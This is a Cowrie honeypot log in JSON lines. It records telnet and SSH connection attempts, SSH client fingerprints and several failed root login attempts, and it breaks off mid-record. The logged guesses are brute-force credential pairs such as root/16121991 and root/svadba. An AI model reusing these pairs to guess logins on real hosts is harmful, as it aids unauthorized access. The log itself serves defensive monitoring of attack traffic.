{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":53182,"dst_ip":"159.203.135.109","dst_port":23,"session":"4476bdfc4137","protocol":"telnet","message":"New connection: 135.148.14.151:53182 (159.203.135.109:23) [session: 4476bdfc4137]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:12:24.749868Z"}
{"eventid":"cowrie.session.closed","duration":35.8201367855072,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:12:29.280456Z","src_ip":"135.148.14.151","session":"7581189110ac","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"89.108.118.91","src_port":48878,"dst_ip":"159.203.135.109","dst_port":22,"session":"ff889b1db35d","protocol":"ssh","message":"New connection: 89.108.118.91:48878 (159.203.135.109:22) [session: ff889b1db35d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:12:34.870893Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:12:34.881890Z","src_ip":"89.108.118.91","session":"ff889b1db35d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:12:35.029190Z","src_ip":"89.108.118.91","session":"ff889b1db35d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"201088","message":"login attempt [root/201088] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:12:35.440929Z","src_ip":"89.108.118.91","session":"ff889b1db35d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:12:36.580459Z","src_ip":"89.108.118.91","session":"ff889b1db35d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":36.88934946060181,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:12:41.092388Z","src_ip":"135.148.14.151","session":"c67dd92fac67","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.057764530181885,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:12:58.807436Z","src_ip":"135.148.14.151","session":"4476bdfc4137","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.485981941223145,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:12:59.100352Z","src_ip":"135.148.14.151","session":"6bbb42b5d559","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":44592,"dst_ip":"159.203.135.109","dst_port":23,"session":"e1b5d48d7163","protocol":"telnet","message":"New connection: 135.148.14.151:44592 (159.203.135.109:23) [session: e1b5d48d7163]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:13:04.552769Z"}
{"eventid":"cowrie.session.closed","duration":120.00323247909546,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:13:13.364982Z","src_ip":"179.102.17.221","session":"9dd0163db8ba","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"179.102.17.221","src_port":40413,"dst_ip":"159.203.135.109","dst_port":23,"session":"705c065f1874","protocol":"telnet","message":"New connection: 179.102.17.221:40413 (159.203.135.109:23) [session: 705c065f1874]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:13:15.774932Z"}
{"eventid":"cowrie.session.connect","src_ip":"179.102.17.221","src_port":40445,"dst_ip":"159.203.135.109","dst_port":23,"session":"2d9b883bc7a7","protocol":"telnet","message":"New connection: 179.102.17.221:40445 (159.203.135.109:23) [session: 2d9b883bc7a7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:13:17.517978Z"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":51114,"dst_ip":"159.203.135.109","dst_port":23,"session":"05d2ee512f78","protocol":"telnet","message":"New connection: 135.148.14.151:51114 (159.203.135.109:23) [session: 05d2ee512f78]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:13:20.023485Z"}
{"eventid":"cowrie.session.connect","src_ip":"194.59.206.2","src_port":32722,"dst_ip":"10.17.0.5","dst_port":22,"session":"de0b4d5701a6","protocol":"ssh","message":"New connection: 194.59.206.2:32722 (10.17.0.5:22) [session: de0b4d5701a6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:13:25.162203Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:13:25.168651Z","src_ip":"194.59.206.2","session":"de0b4d5701a6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"e54ef3ec27fe1fea7ab64d3fa05359fd","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group1-sha1,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1;chacha20-poly1305@openssh.com,aes128-gcm@openssh.com,aes256-gcm@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,arcfour256,arcfour128,arcfour,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group1-sha1","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes128-gcm@openssh.com","aes256-gcm@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","arcfour256","arcfour128","arcfour","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: e54ef3ec27fe1fea7ab64d3fa05359fd","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:13:25.256084Z","src_ip":"194.59.206.2","session":"de0b4d5701a6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.2","message":"Connection lost after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:13:25.348608Z","src_ip":"194.59.206.2","session":"de0b4d5701a6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":36.66952586174011,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:13:41.222208Z","src_ip":"135.148.14.151","session":"e1b5d48d7163","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":59226,"dst_ip":"159.203.135.109","dst_port":23,"session":"fc4a94fdcb34","protocol":"telnet","message":"New connection: 135.148.14.151:59226 (159.203.135.109:23) [session: fc4a94fdcb34]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:13:43.243464Z"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":38854,"dst_ip":"159.203.135.109","dst_port":23,"session":"76674457e60f","protocol":"telnet","message":"New connection: 135.148.14.151:38854 (159.203.135.109:23) [session: 76674457e60f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:13:52.881291Z"}
{"eventid":"cowrie.session.closed","duration":37.036362648010254,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:13:57.059538Z","src_ip":"135.148.14.151","session":"05d2ee512f78","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":42198,"dst_ip":"159.203.135.109","dst_port":23,"session":"ee63eb87e9d9","protocol":"telnet","message":"New connection: 135.148.14.151:42198 (159.203.135.109:23) [session: ee63eb87e9d9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:13:59.914872Z"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":46064,"dst_ip":"159.203.135.109","dst_port":23,"session":"b83ee9b5d81c","protocol":"telnet","message":"New connection: 135.148.14.151:46064 (159.203.135.109:23) [session: b83ee9b5d81c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:14:08.733604Z"}
{"eventid":"cowrie.session.connect","src_ip":"149.34.216.141","src_port":53954,"dst_ip":"159.203.135.109","dst_port":23,"session":"2d718c3c8ed8","protocol":"telnet","message":"New connection: 149.34.216.141:53954 (159.203.135.109:23) [session: 2d718c3c8ed8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:14:11.837095Z"}
{"eventid":"cowrie.session.connect","src_ip":"149.34.216.141","src_port":53783,"dst_ip":"159.203.135.109","dst_port":23,"session":"4a94a238680d","protocol":"telnet","message":"New connection: 149.34.216.141:53783 (159.203.135.109:23) [session: 4a94a238680d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:14:12.753700Z"}
{"eventid":"cowrie.session.closed","duration":34.958386182785034,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:14:18.201571Z","src_ip":"135.148.14.151","session":"fc4a94fdcb34","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"147.45.197.250","src_port":53064,"dst_ip":"159.203.135.109","dst_port":22,"session":"1891fe7bb4d4","protocol":"ssh","message":"New connection: 147.45.197.250:53064 (159.203.135.109:22) [session: 1891fe7bb4d4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:14:23.278468Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:14:23.285840Z","src_ip":"147.45.197.250","session":"1891fe7bb4d4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:14:23.380999Z","src_ip":"147.45.197.250","session":"1891fe7bb4d4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"16121991","message":"login attempt [root/16121991] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:14:23.689840Z","src_ip":"147.45.197.250","session":"1891fe7bb4d4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:14:24.786634Z","src_ip":"147.45.197.250","session":"1891fe7bb4d4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":35.813730239868164,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:14:28.694913Z","src_ip":"135.148.14.151","session":"76674457e60f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":37.2881281375885,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:14:37.202893Z","src_ip":"135.148.14.151","session":"ee63eb87e9d9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":59686,"dst_ip":"159.203.135.109","dst_port":23,"session":"11833c383aa7","protocol":"telnet","message":"New connection: 135.148.14.151:59686 (159.203.135.109:23) [session: 11833c383aa7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:14:39.363978Z"}
{"eventid":"cowrie.session.closed","duration":36.2815318107605,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:14:45.014990Z","src_ip":"135.148.14.151","session":"b83ee9b5d81c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":46350,"dst_ip":"159.203.135.109","dst_port":23,"session":"72370e0ad853","protocol":"telnet","message":"New connection: 135.148.14.151:46350 (159.203.135.109:23) [session: 72370e0ad853]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:15:10.829243Z"}
{"eventid":"cowrie.session.closed","duration":33.781944036483765,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:15:13.145818Z","src_ip":"135.148.14.151","session":"11833c383aa7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00270390510559,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:15:15.777512Z","src_ip":"179.102.17.221","session":"705c065f1874","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00301218032837,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:15:17.520830Z","src_ip":"179.102.17.221","session":"2d9b883bc7a7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"179.102.17.221","src_port":40715,"dst_ip":"159.203.135.109","dst_port":23,"session":"18983b4af0f3","protocol":"telnet","message":"New connection: 179.102.17.221:40715 (159.203.135.109:23) [session: 18983b4af0f3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:15:30.664474Z"}
{"eventid":"cowrie.session.connect","src_ip":"179.102.17.221","src_port":40698,"dst_ip":"159.203.135.109","dst_port":23,"session":"6dfaac0232ef","protocol":"telnet","message":"New connection: 179.102.17.221:40698 (159.203.135.109:23) [session: 6dfaac0232ef]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:15:34.524841Z"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":33012,"dst_ip":"159.203.135.109","dst_port":23,"session":"5b69c68a6122","protocol":"telnet","message":"New connection: 135.148.14.151:33012 (159.203.135.109:23) [session: 5b69c68a6122]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:15:43.161771Z"}
{"eventid":"cowrie.session.connect","src_ip":"185.236.22.41","src_port":39558,"dst_ip":"159.203.135.109","dst_port":22,"session":"ad33544fedc0","protocol":"ssh","message":"New connection: 185.236.22.41:39558 (159.203.135.109:22) [session: ad33544fedc0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:15:48.696068Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:15:48.702101Z","src_ip":"185.236.22.41","session":"ad33544fedc0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:15:48.809863Z","src_ip":"185.236.22.41","session":"ad33544fedc0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"svadba","message":"login attempt [root/svadba] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:15:49.177538Z","src_ip":"185.236.22.41","session":"ad33544fedc0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":38.50632119178772,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:15:49.335440Z","src_ip":"135.148.14.151","session":"72370e0ad853","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:15:50.402697Z","src_ip":"185.236.22.41","session":"ad33544fedc0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00443387031555,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:16:11.841406Z","src_ip":"149.34.216.141","session":"2d718c3c8ed8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"149.34.216.141","src_port":53772,"dst_ip":"159.203.135.109","dst_port":23,"session":"81d192c7c337","protocol":"telnet","message":"New connection: 149.34.216.141:53772 (159.203.135.109:23) [session: 81d192c7c337]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:16:12.245767Z"}
{"eventid":"cowrie.session.closed","duration":120.00226426124573,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:16:12.755828Z","src_ip":"149.34.216.141","session":"4a94a238680d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"149.34.216.141","src_port":53576,"dst_ip":"159.203.135.109","dst_port":23,"session":"e1702ba09d79","protocol":"telnet","message":"New connection: 149.34.216.141:53576 (159.203.135.109:23) [session: e1702ba09d79]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:16:13.120381Z"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":46564,"dst_ip":"159.203.135.109","dst_port":23,"session":"4604f22be76b","protocol":"telnet","message":"New connection: 135.148.14.151:46564 (159.203.135.109:23) [session: 4604f22be76b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:16:14.649031Z"}
{"eventid":"cowrie.session.connect","src_ip":"149.34.216.141","src_port":53770,"dst_ip":"159.203.135.109","dst_port":23,"session":"369cd04b4ebb","protocol":"telnet","message":"New connection: 149.34.216.141:53770 (159.203.135.109:23) [session: 369cd04b4ebb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:16:16.778417Z"}
{"eventid":"cowrie.session.closed","duration":38.361997842788696,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:16:21.523669Z","src_ip":"135.148.14.151","session":"5b69c68a6122","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.98.149.87","src_port":42090,"dst_ip":"10.17.0.5","dst_port":22,"session":"8ca927b4ba43","protocol":"ssh","message":"New connection: 103.98.149.87:42090 (10.17.0.5:22) [session: 8ca927b4ba43]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:16:22.604177Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:16:22.712988Z","src_ip":"103.98.149.87","session":"8ca927b4ba43","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-c